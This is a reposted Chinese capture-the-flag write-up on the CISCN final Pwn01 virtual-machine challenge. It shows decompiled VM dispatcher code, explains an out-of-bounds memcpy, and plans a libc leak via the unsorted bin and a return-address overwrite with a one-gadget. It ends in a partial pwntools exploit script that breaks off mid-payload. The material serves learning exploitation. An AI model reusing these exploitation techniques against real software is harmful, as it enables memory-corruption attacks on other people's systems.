一场VM题目的逆向与利用分析:CISCN决赛Pwn01复盘

admin 2026-09-15 04:30:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复盘CISCN决赛Pwn01VM题目,核心在于逆向VM指令集并分析漏洞利用。作者详细逆向main函数,解析了push、pop、mov、逻辑运算、内存拷贝等指令操作码,并指出VM实现中的漏洞点,为后续利用提供基础。文章强调逆向是VM题目解题关键,并展示了从指令逻辑分析到漏洞利用的完整思路,对CTFPwn方向有实战参考价值。 综合评分: 82 文章分类: CTF,逆向分析,二进制安全,漏洞分析,实战经验


一场 VM 题目的逆向与利用分析:CISCN 决赛 Pwn01 复盘

一叶梦花 一叶梦花

看雪学苑

2026年9月14日 17:59 上海

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

01

逆向及解题思路

首先,vm 题目最重要的肯定是逆向,只有过得了指令逻辑才能谈未来。

OK,这里压力逆向手逆向的结果如下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  vm_opcode *opcode_1; // rax
  _QWORD *sp; // rax
  vm_opcode *opcode_5; // rax
  vm_opcode *opcode_6; // rcx
  _QWORD *sp_1; // rax
  vm_opcode *opcode_3; // rax
  vm_opcode *opcode_4; // rax
  vm_opcode *opcode_7; // rax
  vm_opcode *opcode_8; // rax
  vm_opcode *opcode_9; // rax
  vm_opcode *opcode_10; // rax
  unsigned __int64 *mem1; // rsi
  vm_opcode *opcode_11; // rdx
  vm_opcode *opcode_12; // rax
  unsigned __int8 *mem1_1; // rsi
  vm_opcode *opcode_13; // rdx
  vm_opcode *opcode_14; // rax
  vm_opcode *opcode_15; // rax
  vm_opcode *opcode_16; // rax
  vm_opcode *opcode_17; // rax
  vm_opcode *opcode_18; // rax
  vm_opcode *opcode_19; // rax
  vm_opcode *opcode_20; // rax
  vm_opcode *opcode_21; // rax
  vm_opcode *opcode_22; // rax
  vm_opcode *opcode_23; // rax
  vm_opcode *opcode_24; // rax
  vm_opcode *opcode_25; // rax
  vm_opcode *opcode_26; // rax
  vm_opcode *opcode_27; // rax
  vm_opcode *opcode_28; // rax
  vm_opcode *opcode_29; // rax
  vm_opcode *opcode_30; // rax
  vm_opcode *opcode_2; // rax
  unsigned __int8 v38; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v39; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v40; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v41; // [rsp+Eh] [rbp-32h]
  unsigned __int8 n; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v43; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v44; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v45; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v46; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v47; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v48; // [rsp+Eh] [rbp-32h]
  unsigned __int8 v49; // [rsp+Eh] [rbp-32h]
  unsigned __int16 len; // [rsp+10h] [rbp-30h]
  int code2; // [rsp+14h] [rbp-2Ch]
  vm_mem *mem; // [rsp+18h] [rbp-28h] BYREF
  vm_opcode *opcode; // [rsp+20h] [rbp-20h] BYREF
  void *dest; // [rsp+28h] [rbp-18h]
  void *src; // [rsp+30h] [rbp-10h]
  unsigned __int64 canary; // [rsp+38h] [rbp-8h]

  canary = __readfsqword(0x28u);
io_init();
  mem = (vm_mem *)calloc(0x900u, 1u);
  opcode = (vm_opcode *)calloc(0x58u, 1u);
if ( (unsigned int)handle_alloc_failed(mem, opcode) )
return 1;
  opcode->bp = (unsigned __int8 *)mem->stack;
  opcode->sp = opcode->bp;
  opcode->code = (unsigned __int8 *)mem;
  len = fetch_len();
read_code(mem, len);
while&nbsp;( opcode->code < (unsigned __int8 *)mem + len )
&nbsp; {
switch&nbsp;( *opcode->code )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; case&nbsp;'1': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// push imm
if&nbsp;( opcode->sp >= mem->mem1 )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_1 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code2 = *opcode_1->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sp = opcode->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode->sp = sp -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *sp = code2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; }
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'2': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// push reg
if&nbsp;( opcode->sp >= mem->mem1 )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_5 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v38 = *opcode_5->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_6 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sp_1 = opcode->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode->sp = sp_1 -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *sp_1 = opcode_6->reg[v38];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; }
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'3': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// pop
if&nbsp;( opcode->bp >= (unsigned __int8 *)opcode->sp )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_3 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v39 = *opcode_3->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_4 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v39] = (char&nbsp;*)*opcode_4->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; }
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'4': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// mov reg, reg
&nbsp; &nbsp; &nbsp; &nbsp; opcode_7 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v40 = *opcode_7->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_8 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v40] = opcode->reg[*opcode_8->code &&nbsp;7];
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'5': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// mov reg, imm
&nbsp; &nbsp; &nbsp; &nbsp; opcode_9 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v41 = *opcode_9->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_10 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v41] = *(char&nbsp;**)opcode_10->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->code +=&nbsp;8;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'6': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// &nbsp;// 6 i1 i2
// &nbsp; mem[reg[i1]] = mem[reg[i2]]
&nbsp; &nbsp; &nbsp; &nbsp; mem1 = (unsigned __int8 *)mem->mem1;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_11 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_12 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; dest = &mem1[8&nbsp;* (unsigned __int8)opcode_11->reg[*opcode_12->code &&nbsp;7]];
&nbsp; &nbsp; &nbsp; &nbsp; mem1_1 = (unsigned __int8 *)mem->mem1;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_13 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_14 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; src = &mem1_1[8&nbsp;* (unsigned __int8)opcode_13->reg[*opcode_14->code &&nbsp;7]];
&nbsp; &nbsp; &nbsp; &nbsp; opcode_15 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; n = *opcode_15->code -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->code +=&nbsp;2;
memcpy(dest, src, n);
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'7': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// and reg1, reg2
&nbsp; &nbsp; &nbsp; &nbsp; opcode_16 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v43 = *opcode_16->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_17 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v43] = (char&nbsp;*)((__int64)opcode->reg[v43] & (__int64)opcode->reg[*opcode_17->code &&nbsp;7]);
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'8': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// or reg1, reg2
&nbsp; &nbsp; &nbsp; &nbsp; opcode_18 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v44 = *opcode_18->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_19 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v44] = (char&nbsp;*)((__int64)opcode->reg[v44] | (__int64)opcode->reg[*opcode_19->code &&nbsp;7]);
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'9': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// xor reg1, reg2
&nbsp; &nbsp; &nbsp; &nbsp; opcode_20 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v45 = *opcode_20->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_21 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v45] = (char&nbsp;*)((__int64)opcode->reg[v45] ^ (__int64)opcode->reg[*opcode_21->code &&nbsp;7]);
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'@': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// not reg1, reg2
&nbsp; &nbsp; &nbsp; &nbsp; opcode_22 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[*opcode_22->code &&nbsp;7] = (char&nbsp;*)~(__int64)opcode->reg[*opcode_22->code &&nbsp;7];
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'A': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// shr reg1, reg2
&nbsp; &nbsp; &nbsp; &nbsp; opcode_23 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v46 = *opcode_23->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_24 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v46] = (char&nbsp;*)((unsigned __int64)opcode->reg[v46] >> (char)opcode->reg[*opcode_24->code &&nbsp;7]);
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'B': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// shl reg1, reg2
&nbsp; &nbsp; &nbsp; &nbsp; opcode_25 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v47 = *opcode_25->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_26 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v47] = (char&nbsp;*)((__int64)opcode->reg[v47] << (__int64)opcode->reg[*opcode_26->code &&nbsp;7]);
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'C': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// add
&nbsp; &nbsp; &nbsp; &nbsp; opcode_27 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v48 = *opcode_27->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_28 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v48] += (unsigned __int64)opcode->reg[*opcode_28->code &&nbsp;7];
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'D': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// sub
&nbsp; &nbsp; &nbsp; &nbsp; opcode_29 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; v49 = *opcode_29->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_30 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v49] -= (unsigned __int64)opcode->reg[*opcode_30->code &&nbsp;7];
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'E': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// jmp
&nbsp; &nbsp; &nbsp; &nbsp; opcode_2 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->code = (unsigned __int8 *)mem + *opcode_2->code;
continue;
&nbsp; &nbsp; &nbsp; default:
if&nbsp;( opcode->code >= (unsigned __int8 *)mem + len )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; }
else
&nbsp; &nbsp; &nbsp; &nbsp; {
if&nbsp;( (unsigned int)expand(&opcode, &mem) )
return&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len =&nbsp;fetch_len();
read_code(mem, len);
&nbsp; &nbsp; &nbsp; &nbsp; }
break;
&nbsp; &nbsp; }
&nbsp; }
return&nbsp;0;
}

struct&nbsp;vm_mem&nbsp;// sizeof=0x10F0
00000000&nbsp;{
00000000&nbsp; &nbsp; &nbsp;unsigned __int64 mem0[32];
00000100&nbsp; &nbsp; &nbsp;unsigned __int64 mem1[255];
000008F8 &nbsp; &nbsp; unsigned __int64 stack[255];
000010F0 };

00000000&nbsp;struct&nbsp;vm_opcode&nbsp;// sizeof=0x58
00000000&nbsp;{
00000000&nbsp; &nbsp; &nbsp;unsigned __int8 *code;
00000008&nbsp; &nbsp; &nbsp;_QWORD *sp;
00000010&nbsp; &nbsp; &nbsp;unsigned __int8 *bp;
00000018&nbsp; &nbsp; &nbsp;__int64 reg[8];
00000338&nbsp;};

(比赛时时间比较紧张,发文前我也没 check,有错误还请多担待)

整个逻辑是先申请 0x900 的堆块作为存放 code 的内存和 stack,然后申请 0x58 的 opcode,结构为指向 code 的指针、bp 指针、sp 指针和 8 个 8 字节大小的寄存器。

可以看到,除去一些很常规的指令,唯一有内存操作的只有 case 6,即有 memcpy 函数的指令。

那很明显,就要集中看这个指令漏洞在哪里。

case&nbsp;'6': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// &nbsp;// 6 i1 i2
// &nbsp; mem[reg[i1]] = mem[reg[i2]]
&nbsp; &nbsp; &nbsp; &nbsp; mem1 = (unsigned __int8 *)mem->mem1;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_11 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_12 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; dest = &mem1[8&nbsp;* (unsigned __int8)opcode_11->reg[*opcode_12->code &&nbsp;7]];
&nbsp; &nbsp; &nbsp; &nbsp; mem1_1 = (unsigned __int8 *)mem->mem1;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_13 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; opcode_14 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; src = &mem1_1[8&nbsp;* (unsigned __int8)opcode_13->reg[*opcode_14->code &&nbsp;7]];
&nbsp; &nbsp; &nbsp; &nbsp; opcode_15 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; n = *opcode_15->code -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; opcode->code +=&nbsp;2;
memcpy(dest, src, n);
continue;

一开始变量类型没设置好的话会比较难察觉,但是直接查看汇编时会发现,dst 和 src 的地址是类似mem2+offset,而这个 offset 是从寄存器中取的值,这个值先取单字节,再被 *8

此时,可以注意力惊人的发现,这个 mem2 到 opcode 的大小是小于这个 offset,而 dst 和 src 的地址都是 mem2+offset,也就是说是越界读写!(读写到 stack,再进寄存器就可操控值了)

经实测,将寄存器设置为 255,在 *8 后会覆盖/读取到 opcode 的值,越界读写的猜想证明成功。

而同时,最后面的 default 里有 free,它在满足一定条件后不仅可以释放原先堆块申请新堆块,还会好心地把原先内存、寄存器值复制过去,并且重新读取 code。

这样 free 完,新的堆块上方就存在了一个有 libc unsorted bin 堆块,虽然有 0x900 距离,但看上去近在咫尺。

赢了吗?没有。

在众多指令中,只有 push 和 pop 有实际读写能力,因此,得仔细查看它们的限制。

&nbsp;case&nbsp;'1': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// push imm
if&nbsp;( opcode->sp >= mem->mem1 )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_1 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code2 = *opcode_1->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sp = opcode->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode->sp = sp -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *sp = code2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; }
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'2': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// push reg
if&nbsp;( opcode->sp >= mem->mem1 )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_5 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v38 = *opcode_5->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_6 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sp_1 = opcode->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode->sp = sp_1 -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *sp_1 = opcode_6->reg[v38];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; }
continue;
&nbsp; &nbsp; &nbsp; case&nbsp;'3': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// pop
if&nbsp;( opcode->bp >= (unsigned __int8 *)opcode->sp )
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_3 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v39 = *opcode_3->code &&nbsp;7;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode_4 = opcode;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; opcode->reg[v39] = (char&nbsp;*)*opcode_4->sp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++opcode->code;
&nbsp; &nbsp; &nbsp; &nbsp; }
continue;

此时发现,push 被限制了,在指令里有这么判断条件:sp 地址 >= mem 地址才能执行 push,这个 mem 指针地址在栈上,很不幸,写能力被限制在堆地址及更高的地址了。

而 pop,读取 libc 的关键,它的 check 条件是 bp >= sp 即可,这两个值都是在 opcode 中可控的。

那么,胜利的方程式已经写好了:

先利用越界读写保存堆地址,地址进入 stack 再进入 reg,将其在寄存器改偏移后利用越界读写操控 sp、bp,将unsorted bin 的libc 地址 pop 进入 reg。

然后同样的方法操控 sp、bp 读 environ 栈地址,最后操控 sp 到栈上,用push覆盖 main函数 返回地址打 ogg。

其中要保证 0x61 的堆块 size 和 code 指针指向正确。

(当时和队友打 awdp 打的已经过载了,只能想到这种攻击方法了,有更好的方法欢迎大家在评论区评论)

“如今 flag 就在眼前,我必须考虑这是否是我此生唯一的机会”

看上去很难的一条路径,实际写指令也很痛苦。

最后,在距比赛结束还有不到一个小时的时候,队友写出了打通本地的 exp,如下:

#!/bin/python3
from&nbsp;pwn&nbsp;import&nbsp;*
context.arch='amd64'
context.os='linux'
context.log_level =&nbsp;'debug'
context.timeout =&nbsp;10000
# context.terminal = ['tmux', 'splitw', '-h']

li =&nbsp;lambda&nbsp;content,data :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+ content +&nbsp;' = '&nbsp;+&nbsp;hex(data) +&nbsp;'\x1b[0m')
lg =&nbsp;lambda&nbsp;content :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+ content +'\x1b[0m')
sla =&nbsp;lambda&nbsp;data, content: c.sendlineafter(data,content)
sa =&nbsp;lambda&nbsp;data, content: c.sendafter(data,content)
sl =&nbsp;lambda&nbsp;data: c.sendline(data)
s =&nbsp;lambda&nbsp;data: c.send(data)
rl =&nbsp;lambda&nbsp;data: c.recvuntil(data)
re =&nbsp;lambda&nbsp;data: c.recv(data)
l64 =&nbsp;lambda&nbsp; &nbsp; :u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda&nbsp; &nbsp; &nbsp;:u64(c.recv(6).ljust(8,b'\x00'))

elf=ELF('./pwn')
libc=ELF('./libc.so.6')
gdbs =&nbsp;'''
&nbsp; &nbsp; # b * $rebase(0x1689) if $eax == 6
&nbsp; &nbsp; # b * $rebase(0x1857)
&nbsp; &nbsp; b * $rebase(0x1d48)

&nbsp; &nbsp; set follow-fork-mode child
&nbsp; &nbsp; c
'''

# c=gdb.debug(['./pwn'],gdbs)
c=process(['./pwn'])
#c=remote('192.168.18.24', 8888 )

pushr =&nbsp;lambda&nbsp;r1:&nbsp;b'2'+bytes([r1])
pushi =&nbsp;lambda&nbsp;i1:&nbsp;b'1'+bytes([i1])
pop =&nbsp;lambda&nbsp;r1:&nbsp;b'3'+bytes([r1])
movr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'4'+bytes([r1, r2])
movi =&nbsp;lambda&nbsp;r1, i1:&nbsp;b'5'+bytes([r1, i1])
memcpy =&nbsp;lambda&nbsp;r1, r2,&nbsp;len:&nbsp;b'6'+bytes([r1, r2,&nbsp;len,&nbsp;0])
andr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'7'+bytes([r1, r2])
orr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'8'+bytes([r1, r2])
xorr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'9'+bytes([r1, r2])
notr =&nbsp;lambda&nbsp;r1:&nbsp;b'@'+bytes([r1])
shrr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'A'+bytes([r1, r2])
shlr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'B'+bytes([r1, r2])
add =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'C'+bytes([r1, r2])
sub =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'D'+bytes([r1, r2])
jmpi =&nbsp;lambda&nbsp;i1:&nbsp;b'E'+bytes([i1])
bb =&nbsp;lambda&nbsp;:&nbsp;b'\xFF'

payload =&nbsp;b''.join([
b'\0'
])

sla(b'>> ',&nbsp;str(len(payload)).encode())
sa(b'>>', payload)

payload =&nbsp;b''.join([
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pushi(255),

&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pushi(255),

&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pop(3),
&nbsp; &nbsp; pushi(255-6),
&nbsp; &nbsp; pop(4),
&nbsp; &nbsp; memcpy(4,&nbsp;3,&nbsp;0x18+0x18),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; pop(5), pop(6), pop(7),

&nbsp; &nbsp; pushi(0x49),
&nbsp; &nbsp; pop(0),
